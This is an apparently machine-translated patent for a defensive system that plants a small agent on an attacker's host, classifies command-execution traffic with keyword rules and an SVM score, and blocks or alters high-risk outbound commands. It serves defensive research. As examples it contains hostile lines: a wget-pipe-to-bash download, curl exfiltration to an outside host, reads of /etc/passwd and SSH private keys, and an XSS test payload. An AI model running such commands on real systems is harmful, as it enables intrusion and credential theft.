Lightweight countering method and system based on interference strategy and storage medium

Abstract

The invention provides a lightweight countering method and system based on an interference strategy and a storage medium, and the method comprises the steps: collecting a communication traffic packet between an attacker and a protected system, and judging whether the traffic data packet is non-static data; if the traffic data packet is non-static data, performing behavior analysis on the traffic data packet to obtain a behavior type corresponding to the traffic data packet; calling an interference strategy corresponding to the traffic data packet from a preset database according to the behavior type; and executing corresponding operation on communication between the attacker and the protected system according to the interference strategy. The method can respond more quickly, counteract attackers more effectively, and improve the comprehensive defense capability of network security.

Description

Technical Field

[0001] The present invention relates to the field of network security protection technology, and in particular to a lightweight countermeasure method, system and storage medium based on interference strategy. Background Art

[0002] Representative devices of passive defense strategies include IDS, IPS, etc. Intrusion Detection System (IDS): IDS is like a "sentinel" on the network. It monitors the network traffic in the protected system, looks for abnormal activities, and issues alarms. Once suspicious behavior is detected, IDS will notify the administrator, who will investigate and handle it. Intrusion Prevention System (IPS): IPS goes a step further than IDS. It can not only detect intrusions, but also actively block attacks. Once malicious traffic is detected, IPS will take measures, such as blocking IP addresses, dropping data packets, etc., to protect network security.

[0003] Traditional passive defense strategies focus on protecting the target system, identifying attack behavior characteristics by monitoring network traffic matching, and thus blocking attack behaviors. The disadvantages are also obvious. IDS relies on the administrator's investigation and processing, and the establishment and maintenance of such a security system requires a lot of manpower and material resources. After detecting an attack, IPS takes measures such as blocking IP and discarding attack data packets. It only has passive defense measures and lacks countermeasures against attackers. Summary of the invention

[0004] The purpose of the present invention is to provide a lightweight countermeasure method, system and storage medium based on interference strategy, aiming to propose an effective and rapid active countermeasure to replace the traditional passive defense method, thereby improving the comprehensive defense capability of network security.

[0005] In a first aspect, the present invention provides a lightweight countermeasure method based on an interference strategy, which is applied to a honeyhole device. When it is identified that a protected system is communicating with an attacker, the honeyhole device is delivered to the attacker end. The method includes:

[0006] Collecting communication traffic packets between the attacker and the protected system, and determining whether the traffic data packets are non-static data;

[0007] If the traffic data packet is non-static data, a behavior analysis is performed on the traffic data packet to obtain a behavior type corresponding to the traffic data packet;

[0008] Retrieving an interference strategy corresponding to the traffic data packet from a preset database according to the behavior type;

[0009] A corresponding operation is performed on the communication between the attacker and the protected system according to the interference strategy.

[0010] Furthermore, the step of collecting the communication traffic packets between the attacker and the protected system and determining whether the traffic data packets are non-static data includes:

[0011] If the traffic data packet is any one or more of a CSS file, a picture file, a video file, an audio file, a JavaScript file, an HTML file, a font file, a document file, and an icon file, it is static data;

[0012] If the traffic data packet is any one or more of a PHP script, an ASP.NET page, a Java Servlet, a Ruby on Rails view, Python, a database query result, and an API response, it is non-static data.

[0013] Furthermore, if the traffic data packet is non-static data, the step of performing behavior analysis on the traffic data packet to obtain a behavior type corresponding to the traffic data packet includes:

[0014] Preprocessing the traffic data packets that are non-static data, wherein the preprocessing includes removing duplicate data and converting the data format to obtain the preprocessed traffic data packets;

[0015] Extract features from the preprocessed traffic data packets to obtain timing features, content features, and behavior features. The content features include request body, key payload information, protocol type, and source and destination port numbers.

[0016] Acquire a primary behavior type of the traffic data packet according to the request body, where the primary behavior type includes command execution and non-command execution;

[0017] When the primary type is command execution, the secondary behavior type of the traffic data packet is obtained according to the key payload information, and the secondary behavior type includes a local type and an out-of-band type;

[0018] When the secondary type is the out-of-band type, the timing features, behavior features, protocol type, and source and destination port numbers are input into the trained SVM model to obtain the third-level types of the traffic data packets, which include high risk and low risk.

[0019] Furthermore, the behavior types include local command execution, non-command execution, high-risk external command execution, and low-risk external command execution;

[0020] The step of retrieving the interference strategy corresponding to the traffic data packet from the preset database according to the behavior type includes:

[0021] If the behavior type is local command execution, determine whether there is sensitive data in the traffic data packet. If there is sensitive data, the interference strategy is to modify the sensitive data and then respond to the attacker. If there is no sensitive data, the interference strategy is to release it.

[0022] If the behavior type is non-command execution, the interference strategy is release;

[0023] If the behavior type is high-risk outbound command execution, the interference strategy is interception and modification;

[0024] If the behavior type is low-risk outbound command execution, the interference strategy is release.

[0025] Further, the step of obtaining the primary behavior type of the traffic data packet according to the request body, wherein the primary behavior type includes command execution and non-command execution, comprises:

[0026] Determine whether the request body contains any one or more of a system command, a command execution function, and a keyword related to the system command;

[0027] If the request body contains any one or more of a system command, a command execution function, and keywords related to the system command, it is a command execution;

[0028] If the request body does not contain any of the system commands, command execution functions, and keywords related to the system commands, it is non-command execution.

[0029] Further, when the primary type is command execution, the step of obtaining the secondary behavior type of the traffic data packet according to the key payload information, wherein the secondary behavior type includes a local type and an out-of-band type, comprises:

[0030] Determine whether the key payload information contains an external URL and / or an external IP;

[0031] If the key payload information contains external URL and / or external IP, it is an out-of-band type;

[0032] If the key payload information does not contain an external URL and / or an external IP, it is a local type.

[0033] Furthermore, when the secondary type is an out-of-band type, the timing features, behavior features, protocol type, and source and destination port numbers are input into the trained SVM model to obtain the third-level type of the traffic data packet, wherein the third-level type includes high-risk and low-risk steps.

[0034] The timing characteristics include access frequency and access interval, and the behavior characteristics include data transmission volume and page residence time;

[0035] The key payload information, access frequency, access interval, data transmission volume, page residence time, protocol type, and source and destination port numbers are scored and marked respectively, as follows:

[0036] When the access frequency is greater than or equal to the first preset frequency threshold, it is marked as a first score, and when the access frequency is less than the first preset frequency threshold, it is marked as zero score;

[0037] When the access interval is greater than or equal to the first preset interval threshold, it is marked as the second score, and when the access interval is less than the first preset interval threshold, it is marked as zero;

[0038] When the data transmission volume is greater than or equal to the first preset memory threshold, it is marked as a third score, and when the data transmission volume is less than the first preset memory threshold, it is marked as zero;

[0039] When the page residence time is less than or equal to the first preset time threshold, it is marked as the fourth score; when the page residence time is greater than the first preset time threshold, it is marked as zero;

[0040] When the protocol type is any one of FTP, SSH, and DNS, it is marked as the fifth point; when the protocol type is not any of FTP, SSH, and DNS, it is marked as zero point;

[0041] When the source and destination port numbers are non-standard ports, they are marked as the sixth score; when the source and destination port numbers are standard ports, they are marked as zero score;

[0042] When the key payload information contains a download command, it is marked as the seventh point, and when the key payload information does not contain a download command, it is marked as zero point;

[0043] The SVM model is trained according to the labeled features to obtain a trained SVM model;

[0044] Get the score of each feature after SVM model recognition, and add the scores of key payload information, access frequency, access interval, data transmission volume, page residence time, protocol type, and source and destination port numbers to get the total score;

[0045] Determine whether the total score is greater than or equal to a first preset score threshold;

[0046] If the total score is greater than or equal to the first preset score threshold, it is a high-risk type;

[0047] If the total score is less than the first preset score threshold, it is a low-risk type.

[0048] In a second aspect, the present invention provides a lightweight countermeasure system based on an interference strategy, the system comprising:

[0049] A traffic collection module, used to collect communication traffic packets between the attacker and the protected system, and determine whether the traffic data packets are non-static data;

[0050] A behavior analysis module, configured to perform behavior analysis on the traffic data packet if the traffic data packet is non-static data, and obtain a behavior type corresponding to the traffic data packet;

[0051] An interference strategy generation module, used to retrieve an interference strategy corresponding to the traffic data packet from a preset database according to the behavior type;

[0052] The traffic tampering module is used to perform corresponding operations on the communication between the attacker and the protected system according to the interference strategy.

[0053] In a third aspect, the present invention provides a storage medium storing one or more programs, which, when executed by a processor, implement the above-mentioned lightweight countermeasure method based on interference strategy.

[0054] In a fourth aspect, the present invention provides an electronic device, the electronic device comprising a memory and a processor, wherein:

[0055] The memory is used to store computer programs;

[0056] When the processor is used to execute the computer program stored in the memory, the above-mentioned lightweight countermeasure method based on the interference strategy is implemented.

[0057] In summary, according to the above-mentioned lightweight countermeasure method based on interference strategy, the original countermeasure idea based on remote control is abandoned, and the countermeasure idea is expanded from controlling the attacker's host to protecting the system to interfering with the attacker's attack behavior, so that it spontaneously stops the attack and protects the system. Operations such as non-command execution and local command execution are not processed, making the attacker believe that there are vulnerabilities in the system. However, for high-risk external command execution that may expand the results of the attack or get out of the control range of the system, the system intervenes to interfere with its vulnerability exploitation failure, interferes with the attacker's line of sight, and slows down the attacker's offensive pace, thereby protecting the system in a lightweight way. In addition, by dividing the attacker's high-risk command execution operations into external and local types, local command execution operations are generally not intervened; external command execution operations are further divided into low-risk external and high-risk external types, and different interference strategies are executed respectively to achieve accurate countermeasures against different attack behaviors; in addition, by combining large language model recognition technology, interference strategies are generated accurately and efficiently; by decoupling the brain of the counter-attack intelligent agent driven by the large language model from the interference intelligent terminal, the interference intelligent terminal is lightweight, reducing the possibility of the interference intelligent terminal being detected by the attacker and improving the success rate of the countermeasure. BRIEF DESCRIPTION OF THE DRAWINGS

[0058] Figure 1 A flowchart of a lightweight countermeasure method based on an interference strategy proposed in one embodiment of the present invention;

[0059] Figure 2 A schematic diagram of the structure of a lightweight countermeasure system based on an interference strategy proposed in one embodiment of the present invention.

[0060] The following specific implementation manner will further illustrate the present invention in conjunction with the above-mentioned drawings. DETAILED DESCRIPTION

[0061] In order to make the purpose, technical solutions and advantages of the embodiments of the present invention clearer, the technical solutions in the embodiments of the present invention will be clearly and completely described below. Obviously, the described embodiments are part of the embodiments of the present invention, not all of the embodiments. Based on the embodiments of the present invention, all other embodiments obtained by ordinary technicians in this field without creative work are within the scope of protection of the present invention. Unless otherwise defined, the technical terms or scientific terms used herein should be understood by people with general skills in the field to which the present invention belongs. "Including" and similar words used in this article mean that the elements or objects appearing before the word include the elements or objects listed after the word and their equivalents, without excluding other elements or objects.

[0062] The concept of "sophobia" proposed in the present invention is taken from the science fiction novel "The Three-Body Problem". The "sophobia" in the science fiction novel is an atomic-sized microscopic intelligent robot that the "Three-Body People" put on the earth to monitor and interfere with the development of human technology. The interference sophon itself is delivered to the attacker system via the honey hole system, and then the interference sophon filters the network communication between the attacker and the protected system, and regularly feeds back data to the counter-intelligent brain. The intelligent brain generates specific modification rules for the interference sophon. The interference sophon itself is small in size and only stores a small number of rules, so as to avoid being detected by the attacker. The interference sophon modifies the communication traffic between the attacker and the protected system according to the rules. For example, for the high-risk out-of-band command execution executed by the attacker, the interference sophon tampers with the specific command in the attacker's request, or directly intercepts the request to avoid the protected system from being captured. The specific modification rules are given by the interference strategy generation module of the counter-intelligent brain. In this way, the attacker's sight is disturbed, the attacker is confused but unable to find the reason, and finally stops the attack on the protected system.

[0063] Regarding external command execution and local command execution, in the traditional classification method, network attack types are divided into multiple types (file upload vulnerabilities, XSS vulnerabilities, Sql injection vulnerabilities, remote code execution, etc.), and remote code execution (RCE), also known as remote command execution and command execution, is often the most high-risk type of attack behavior. The present invention focuses on command execution vulnerabilities and divides them into external command execution and local command execution. Local command execution refers to the execution of commands by attackers without external network connection. External command execution refers to commands that include communication with the external network. On this basis, external command execution is divided into two types: low-risk external type, including: DNS query requests, ping and other request command executions; high-risk external type includes: file download, start monitoring, external connection to the attacker's server, etc.

[0064] See also Figure 1 , shown is a schematic diagram of the structure of a lightweight countermeasure system based on an interference strategy proposed in one embodiment of the present invention, the system includes an interference smart and a countermeasure intelligent agent brain. The interference smart includes a traffic collection module and a traffic tampering module; the countermeasure intelligent agent brain includes a behavior analysis module and an interference strategy generation module. The interference smart is implanted into the attacker system through a honey hole, the traffic collection module collects the network traffic of the attacker system, filters out the traffic between the attacker and the protected system, and feeds it back to the behavior analysis module of the countermeasure intelligent agent brain. The behavior analysis module analyzes the traffic and learns its behavior characteristics, and then the interference strategy generation module generates an interference strategy and returns it to the interference smart. The interference smart modifies the traffic between the attacker and the protected system according to the specific interference strategy to achieve countermeasures against the attacker, specifically:

[0065] A traffic collection module, used to collect communication traffic packets between the attacker and the protected system, and determine whether the traffic data packets are non-static data;

[0066] A behavior analysis module, used for performing behavior analysis on the traffic data packet to obtain a behavior type corresponding to the traffic data packet if the traffic data packet is non-static data;

[0067] An interference strategy generation module, used to retrieve an interference strategy corresponding to the traffic data packet from a preset database according to the behavior type;

[0068] The traffic tampering module is used to perform corresponding operations on the communication between the attacker and the protected system according to the interference strategy.

[0069] See also Figure 2 , which is a flow chart of a lightweight countermeasure method based on an interference strategy proposed in an embodiment of the present invention, the method is applied to a honey hole device, and the method includes steps S101 to S104, wherein:

[0070] Step S101: collecting communication traffic packets between the attacker and the protected system, and determining whether the traffic data packets are non-static data;

[0071] It should be pointed out that the present invention is mainly aimed at countermeasures when an attacker's attack behavior has been identified. How to identify the existence of an attack behavior is a prior art and will not be described in detail in this implementation.

[0072] That is to say, when it is identified that there is communication between the protected system and the attacker, that is, when the attacker is attacking, the honeyhole device with this system is delivered to the attacker's end, and then the traffic collection module in the interference sonar uses data packet capture technology to monitor the attacker's network card traffic to back up the communication traffic between the attacker and the protected system.

[0073] In addition, in the process of determining whether the collected communication traffic is non-static data or static data, if the traffic data packet is any one or more of a CSS file, a picture file, a video file, an audio file, a JavaScript file, an HTML file, a font file, a document file, and an icon file, it is static data;

[0074] If the traffic data packet is any one or more of a PHP script, an ASP.NET page, a Java Servlet, a Ruby on Rails view, Python, a database query result, and an API response, it is non-static data.

[0075] For static data, no countermeasures are required. Therefore, when collecting communication traffic, full traffic mirroring is not required. For the acquisition of static files, such as CSS, pictures (JPG, PNG, GIF, ICO, etc.), audio files, video files, font files, compressed files, and image files, only logs are recorded, and specific traffic is not recorded.

[0076] For example, not limitation, for static data, these files usually do not require dynamic processing on the server side and can be sent directly from the server to the client:

[0077] 1. CSS file: .css;

[0078] 2. Image files:

[0079] 2.1, Bitmap images: .jpg, .jpeg, .png, .gif, .bmp, .tiff;

[0080] 2.2. Vector images: .svg, .ai (Adobe Illustrator), .eps (Encapsulated PostScript);

[0081] 3. Video files: .mp4, .webm, .ogg, .avi, .mov, .wmv, .flv;

[0082] 4. Audio files: .mp3, .wav, .aac, .ogg, .flac;

[0083] 5. JavaScript file: .js;

[0084] 6. HTML files: .html, .htm;

[0085] 7. Font files:

[0086] 7.1. Outline-based fonts: .ttf (TrueType Font), .otf (OpenType Font);

[0087] 7.2. Image-based fonts: .eot (Embedded OpenType), .woff (Web Open FontFormat), .woff2;

[0088] 8. Document files: .pdf, .docx, .xlsx, .pptx, .odt, .ods, .odp;

[0089] 9. Icon file: .ico;

[0090] 10. Other static files: such as .zip, .tar, .gz, .7z and other compressed files.

[0091] For non-static data, that is, dynamic data, these files usually require dynamic processing on the server side, which is executed when the user requests it and dynamically generates the response content:

[0092] 1. PHP script: .php;

[0093] 2. ASP.NET page: .aspx;

[0094] 3. Java Servlet: .jsp, .jspx;

[0095] 4. Ruby on Rails views: .erb, .haml;

[0096] 5. Python (Django / Flask): Files are usually not sent directly, but template files such as .html and .tpl can be considered as part of dynamic processing;

[0097] 6. Database query results: do not directly correspond to file types, but the results are usually returned in .json, .xml, .csv and other formats;

[0098] 7. API response: .json, .xml, .html (dynamically generated).

[0099] Step S102: If the traffic data packet is non-static data, a behavior analysis is performed on the traffic data packet to obtain a behavior type corresponding to the traffic data packet;

[0100] It should be noted that, in this step, in order to obtain the specific behavior type of the traffic data packet, it is first necessary to preprocess the traffic data packet that is non-static data, and the preprocessing includes removing duplicate data and converting the data format to obtain the preprocessed traffic data packet;

[0101] Then, the preprocessed traffic data packets are subjected to feature extraction to obtain timing features, content features, and behavior features.

[0102] It should be noted that the timing features include access time, access frequency, access interval, etc. Content features include URL, protocol type, source and destination port number, IP address, request header, request body, key payload information, etc. Behavioral features include request method, data transmission volume, page residence time, etc. In addition, key payload information is the payload information that is highly related to the user (attacker) input and may contain attack commands left in the request body and response body after removing the template content.

[0103] Specifically, in some embodiments, the first-level behavior type of the traffic data packet is obtained according to the request body, and the first-level behavior type includes command execution and non-command execution; when the first-level type is command execution, the second-level behavior type of the traffic data packet is obtained according to the key payload information, and the second-level behavior type includes local type and external type; when the second-level type is external type, the timing characteristics, behavior characteristics, protocol type and source and destination port numbers are input into the trained SVM model to obtain the third-level type of the traffic data packet, and the third-level type includes high risk and low risk; thereby obtaining a complete behavior type, namely local command execution, non-command execution, high-risk external command execution or low-risk external command execution.

[0104] More specifically, in some embodiments, in order to identify the primary type, it is first determined whether the request body contains any one or more of a system command, a command execution function, and a keyword related to a system command;

[0105] If the request body contains any one or more of a system command, a command execution function, and keywords related to the system command, it is a command execution;

[0106] If the request body does not contain any of the system commands, command execution functions, and keywords related to the system commands, it is non-command execution.

[0107] Examples, not limitations, include system commands such as ls, cat, cur, ifconfig, ipconfig, etc.; command execution functions such as system, exec, shell_exec, passthru, etc. in PHP, Runtime.getRuntime().exec(), ProcessBuilder, javax.script.ScriptEngineManager, and eval, etc. in Java; keywords related to system commands in Windows and Linux such as bash, powershell, sh, cmd, backquote (`), etc.

[0108] More specifically, in order to identify the secondary type, it is necessary to determine whether the key payload information contains an external URL and / or an external IP;

[0109] If the key payload information contains external URL and / or external IP, it is an out-of-band type;

[0110] If the key payload information does not contain an external URL and / or an external IP, it is a local type.

[0111] More specifically, the specific process for identifying the three-level types is as follows:

[0112] When the access frequency is greater than or equal to the first preset frequency threshold, it is marked as a first score, and when the access frequency is less than the first preset frequency threshold, it is marked as zero score;

[0113] When the access interval is greater than or equal to the first preset interval threshold, it is marked as the second score, and when the access interval is less than the first preset interval threshold, it is marked as zero;

[0114] When the data transmission volume is greater than or equal to the first preset memory threshold, it is marked as a third score, and when the data transmission volume is less than the first preset memory threshold, it is marked as zero;

[0115] When the page residence time is less than or equal to the first preset time threshold, it is marked as the fourth score; when the page residence time is greater than the first preset time threshold, it is marked as zero;

[0116] When the protocol type is any one of FTP, SSH, and DNS, it is marked as the fifth point; when the protocol type is not any of FTP, SSH, and DNS, it is marked as zero point;

[0117] When the source and destination port numbers are non-standard ports, they are marked as the sixth score; when the source and destination port numbers are standard ports, they are marked as zero score;

[0118] When the key payload information contains a download command, it is marked as the seventh point, and when the key payload information does not contain a download command, it is marked as zero point;

[0119] The SVM model is trained according to the labeled features to obtain a trained SVM model;

[0120] Get the score of each feature after SVM model recognition, and add the scores of key payload information, access frequency, access interval, data transmission volume, page residence time, protocol type, and source and destination port numbers to get the total score;

[0121] Determine whether the total score is greater than or equal to a first preset score threshold;

[0122] If the total score is greater than or equal to the first preset score threshold, it is a high-risk type;

[0123] If the total score is less than the first preset score threshold, it is a low-risk type.

[0124] It should be pointed out that in the actual attack and defense process, the above indicators effectively reflect the potential risks of out-of-band behavior. For example, regular external connections and frequent long-term connections may point to high-risk permission maintenance behavior, while the use of protocols involving encrypted transmission for communication is often associated with potential malicious activities such as tunnel transmission. In addition, command execution accompanied by a large amount of data is usually a common method used by attackers, pointing to upload or download behavior. A short page residence time indicates that the attacker is more purposeful, and this short residence usually indicates that they are quickly performing specific tasks. The use of abnormal port numbers may also imply that the current business is not operating normally, increasing potential risks. In addition, if there is a behavior of downloading external scripts in the key payload information, it usually indicates that the attacker is exploiting vulnerabilities in order to expand the results, which is an obvious high-risk behavior. Therefore, these scoring indicators combined can effectively assess the risk of external connections.

[0125] For purposes of example and not limitation, the score values ​​are as follows:

[0126] Access time / frequency (20 points): Regular scheduled external connections or multiple attempts to connect to external servers in a short period of time - suspected high-risk external connections; occasional external connections - suspected low-risk external connections.

[0127] 1. Access interval (20 points): Frequent or regular long-term connection - suspected high-risk external type; occasional, no obvious regularity - suspected low-risk external type

[0128] 2. Protocol type (20 points): FTP, SSH, DNS, etc., which may involve encrypted tunnel transmission - suspected high-risk outbound type; HTTP, ICMP normal business request or survival test protocol - suspected low-risk outbound type.

[0129] 3. Source and destination port numbers (30 points): Using some non-standard ports for communication - suspected to be a high-risk outbound type; using standard common ports such as 80 / 443 - suspected to be a low-risk outbound type.

[0130] 4. Key payload information (60 points): Contains operations for downloading external data, such as curl http: / / external.com / upload, scp, wget - suspected high-risk external data; routine connection tests such as pingxxx.dnslog.cn.

[0131] 5. Data transfer volume (20 points): The data volume is large, with obvious download or upload behavior - suspected to be a high-risk outbound type; the data volume is small, not involving large-scale file transfers - suspected to be a low-risk outbound type.

[0132] 6. Page dwell time (30 points): Short dwell time and strong purpose - suspected high-risk external take-out type; long dwell time and other related interactive data - suspected low-risk external take-out type;

[0133] 7. If each characteristic meets the "high-risk external type" indicator, the corresponding score in the brackets will be obtained, otherwise 0 points will be obtained. If the final total score is greater than or equal to 60, it is finally confirmed as a "high-risk external type", otherwise it is a "low-risk external type".

[0134] Step S103: Retrieving an interference strategy corresponding to the traffic data packet from a preset database according to the behavior type;

[0135] It should be noted that if the behavior type is local command execution, it is determined whether there is sensitive data in the traffic data packet. If there is sensitive data, the interference strategy is to modify the sensitive data therein and then respond to the attacker. If there is no sensitive data, the interference strategy is to release. For example, there is no sensitive data leakage command execution: for example: whoami, ls, cat aaa.txt; the release strategy is executed, that is, no processing is done; there is sensitive data leakage command execution: for example: cat / etc / passwd, cat~ / .ssh / <private key file>; the strategy of modifying the response content is executed, that is, on the attacker side, when the honey hole intelligent child end receives the response, it intercepts the response and replaces the sensitive content therein, and then responds to the attacker again.

[0136] If the behavior type is non-command execution, for example, a parameter contains <script>alert(1)< / script> This type of XSS test payload executes the release policy, that is, no processing is done.

[0137] If the behavior type is a high-risk outbound command execution, for example: wget-qO-http: / / example.com / script.sh|bash; execute interception or modification policy, intercept and modify the high-risk outbound command execution, and delete the subsequent bash execution operation. From the attacker's perspective, the command execution is sent, and the script download is also recorded, but there is no execution result, but the cause cannot be found, thus interfering with the attacker and causing him to voluntarily give up the attack behavior.

[0138] If the behavior type is low-risk outbound command execution, for example, ping xxxx, curl xxxx.dnslog.cn, the release policy is executed, that is, no processing is performed.

[0139] Step S104: performing corresponding operations on the communication between the attacker and the protected system according to the interference strategy.

[0140] In summary, according to the above-mentioned lightweight countermeasure method based on interference strategy, the original countermeasure idea based on remote control is abandoned, and the countermeasure idea is expanded from controlling the attacker's host to protecting the system to interfering with the attacker's attack behavior, so that it spontaneously stops the attack and protects the system. Operations such as non-command execution and local command execution are not processed, making the attacker believe that there are vulnerabilities in the system. However, for high-risk external command execution that may expand the results of the attack or get out of the control range of the system, the system intervenes to interfere with its vulnerability exploitation failure, interferes with the attacker's line of sight, and slows down the attacker's offensive pace, thereby protecting the system in a lightweight way. In addition, by dividing the attacker's high-risk command execution operations into external and local types, local command execution operations are generally not intervened; external command execution operations are further divided into low-risk external and high-risk external types, and different interference strategies are executed respectively to achieve accurate countermeasures against different attack behaviors; in addition, by combining large language model recognition technology, interference strategies are generated accurately and efficiently; by decoupling the brain of the counter-attack intelligent agent driven by the large language model from the interference intelligent terminal, the interference intelligent terminal is lightweight, reducing the possibility of the interference intelligent terminal being detected by the attacker and improving the success rate of the countermeasure.

[0141] Another aspect of the present invention further provides a storage medium on which one or more programs are stored, and when the programs are executed by a processor, the above-mentioned lightweight countermeasure method based on interference strategy is implemented.

[0142] On the other hand, the present invention further proposes an electronic device, including a memory and a processor, wherein the memory is used to store a computer program, and the processor is used to execute the computer program stored in the memory to implement the above-mentioned lightweight countermeasure method based on the interference strategy.

[0143] Those skilled in the art will appreciate that the logic and / or steps represented in the flowchart or otherwise described herein, for example, may be considered as an ordered list of executable instructions for implementing logical functions, and may be embodied in any computer-readable medium for use by an instruction execution system, device or apparatus (such as a computer-based system, a system including a processor, or other system that can fetch instructions from an instruction execution system, device or apparatus and execute instructions), or in conjunction with such instruction execution systems, devices or apparatuses. For purposes of this specification, "computer-readable medium" may be any device that can contain, store, communicate, propagate or transmit a program for use by an instruction execution system, device or apparatus, or in conjunction with such instruction execution systems, devices or apparatuses.

[0144] More specific examples of computer-readable media (a non-exhaustive list) include the following: an electrical connection with one or more wires (electronic device), a portable computer disk case (magnetic device), a random access memory (RAM), a read-only memory (ROM), an erasable and programmable read-only memory (EPROM or flash memory), an optical fiber device, and a portable compact disk read-only memory (CDROM). In addition, the computer-readable medium may even be a paper or other suitable medium on which the program is printed, since the program may be obtained electronically, for example, by optically scanning the paper or other medium, followed by editing, deciphering or, if necessary, processing in another suitable manner, and then stored in a computer memory.

[0145] It should be understood that the various parts of the present invention can be implemented by hardware, software, firmware or a combination thereof. In the above-mentioned embodiments, a plurality of steps or methods can be implemented by software or firmware stored in a memory and executed by a suitable instruction execution system. For example, if implemented by hardware, as in another embodiment, it can be implemented by any one of the following technologies known in the art or a combination thereof: a discrete logic circuit having a logic gate circuit for implementing a logic function for a data signal, a dedicated integrated circuit having a suitable combination of logic gate circuits, a programmable gate array (PGA), a field programmable gate array (FPGA), etc.

[0146] Although the embodiments of the present invention are described in detail above, it is obvious to those skilled in the art that various modifications and variations can be made to these embodiments. However, it should be understood that such modifications and variations are within the scope and spirit of the present invention as described in the claims. Moreover, the present invention described herein may have other embodiments and may be implemented or realized in a variety of ways.

Claims

1. A lightweight countermeasure method based on an interference strategy, applied to a honeyhole device, when it is identified that the protected system is communicating with the attacker, the honeyhole device is delivered to the attacker end, characterized in that: The method comprises: Collecting communication traffic packets between the attacker and the protected system, and determining whether the traffic data packets are non-static data; If the traffic data packet is non-static data, a behavior analysis is performed on the traffic data packet to obtain a behavior type corresponding to the traffic data packet; Retrieving an interference strategy corresponding to the traffic data packet from a preset database according to the behavior type; A corresponding operation is performed on the communication between the attacker and the protected system according to the interference strategy.

2. The lightweight countermeasure method based on interference strategy according to claim 1 is characterized in that: The step of collecting the communication traffic packets between the attacker and the protected system and determining whether the traffic data packets are non-static data includes: If the traffic data packet is any one or more of a CSS file, a picture file, a video file, an audio file, a JavaScript file, an HTML file, a font file, a document file, and an icon file, it is static data; If the traffic data packet is any one or more of a PHP script, an ASP.NET page, a Java Servlet, a Ruby on Rails view, Python, a database query result, and an API response, it is non-static data.

3. The lightweight countermeasure method based on interference strategy according to claim 2 is characterized in that: If the traffic data packet is non-static data, the step of performing behavior analysis on the traffic data packet to obtain a behavior type corresponding to the traffic data packet includes: Preprocessing the traffic data packets that are non-static data, wherein the preprocessing includes removing duplicate data and converting the data format to obtain the preprocessed traffic data packets; Extract features from the preprocessed traffic data packets to obtain timing features, content features, and behavior features. The content features include request body, key payload information, protocol type, and source and destination port numbers. Acquire a primary behavior type of the traffic data packet according to the request body, where the primary behavior type includes command execution and non-command execution; When the primary type is command execution, the secondary behavior type of the traffic data packet is obtained according to the key payload information, and the secondary behavior type includes a local type and an out-of-band type; When the secondary type is the out-of-band type, the timing features, behavior features, protocol type, and source and destination port numbers are input into the trained SVM model to obtain the third-level types of the traffic data packets, which include high risk and low risk.

4. The lightweight countermeasure method based on interference strategy according to claim 3 is characterized in that: The behavior types include local command execution, non-command execution, high-risk external command execution, and low-risk external command execution; The step of retrieving the interference strategy corresponding to the traffic data packet from the preset database according to the behavior type includes: If the behavior type is local command execution, determine whether there is sensitive data in the traffic data packet. If there is sensitive data, the interference strategy is to modify the sensitive data and then respond to the attacker. If there is no sensitive data, the interference strategy is to release it. If the behavior type is non-command execution, the interference strategy is release; If the behavior type is high-risk outbound command execution, the interference strategy is interception and modification; If the behavior type is low-risk outbound command execution, the interference strategy is release.

5. The lightweight countermeasure method based on interference strategy according to claim 4 is characterized in that: The step of obtaining the primary behavior type of the traffic data packet according to the request body, wherein the primary behavior type includes command execution and non-command execution, comprises: Determine whether the request body contains any one or more of a system command, a command execution function, and a keyword related to the system command; If the request body contains any one or more of a system command, a command execution function, and keywords related to the system command, it is a command execution; If the request body does not contain any of the system commands, command execution functions, and keywords related to the system commands, it is non-command execution.

6. The lightweight countermeasure method based on interference strategy according to claim 4 is characterized in that: When the primary type is command execution, the step of obtaining the secondary behavior type of the traffic data packet according to the key payload information, wherein the secondary behavior type includes a local type and an out-of-band type, comprises: Determine whether the key payload information contains an external URL and / or an external IP; If the key payload information contains external URL and / or external IP, it is an out-of-band type; If the key payload information does not contain an external URL and / or an external IP, it is a local type.

7. The lightweight countermeasure method based on interference strategy according to claim 4 is characterized in that: When the secondary type is an out-of-band type, the timing features, behavior features, protocol type, and source and destination port numbers are input into the trained SVM model to obtain the third-level type of the traffic data packet, wherein the third-level type includes high-risk and low-risk steps. The timing characteristics include access frequency and access interval, and the behavior characteristics include data transmission volume and page residence time; The key payload information, access frequency, access interval, data transmission volume, page residence time, protocol type, and source and destination port numbers are scored and marked respectively, as follows: When the access frequency is greater than or equal to the first preset frequency threshold, it is marked as a first score, and when the access frequency is less than the first preset frequency threshold, it is marked as zero score; When the access interval is greater than or equal to the first preset interval threshold, it is marked as the second score, and when the access interval is less than the first preset interval threshold, it is marked as zero; When the data transmission volume is greater than or equal to the first preset memory threshold, it is marked as a third score, and when the data transmission volume is less than the first preset memory threshold, it is marked as zero; When the page residence time is less than or equal to the first preset time threshold, it is marked as the fourth score; when the page residence time is greater than the first preset time threshold, it is marked as zero; When the protocol type is any one of FTP, SSH, and DNS, it is marked as the fifth point; when the protocol type is not any of FTP, SSH, and DNS, it is marked as zero point; When the source and destination port numbers are non-standard ports, they are marked as the sixth score; when the source and destination port numbers are standard ports, they are marked as zero score; When the key payload information contains a download command, it is marked as the seventh point, and when the key payload information does not contain a download command, it is marked as zero point; The SVM model is trained according to the labeled features to obtain a trained SVM model; Get the score of each feature after SVM model recognition, and add the scores of key payload information, access frequency, access interval, data transmission volume, page residence time, protocol type, and source and destination port numbers to get the total score; Determine whether the total score is greater than or equal to a first preset score threshold; If the total score is greater than or equal to the first preset score threshold, it is a high-risk type; If the total score is less than the first preset score threshold, it is a low-risk type.

8. A lightweight countermeasure system based on jamming strategy, characterized in that: The system comprises: A traffic collection module, used to collect communication traffic packets between the attacker and the protected system, and determine whether the traffic data packets are non-static data; A behavior analysis module, configured to perform behavior analysis on the traffic data packet if the traffic data packet is non-static data, and obtain a behavior type corresponding to the traffic data packet; An interference strategy generation module, used to retrieve an interference strategy corresponding to the traffic data packet from a preset database according to the behavior type; The traffic tampering module is used to perform corresponding operations on the communication between the attacker and the protected system according to the interference strategy.

9. A storage medium, characterized in that: The storage medium stores one or more programs, which, when executed by a processor, implement the lightweight countermeasure method based on interference strategy as described in any one of claims 1-7.

10. An electronic device, comprising a memory and a processor, wherein: The memory is used to store computer programs; When the processor is used to execute the computer program stored in the memory, it implements the lightweight countermeasure method based on the interference strategy as described in any one of claims 1-7.

Images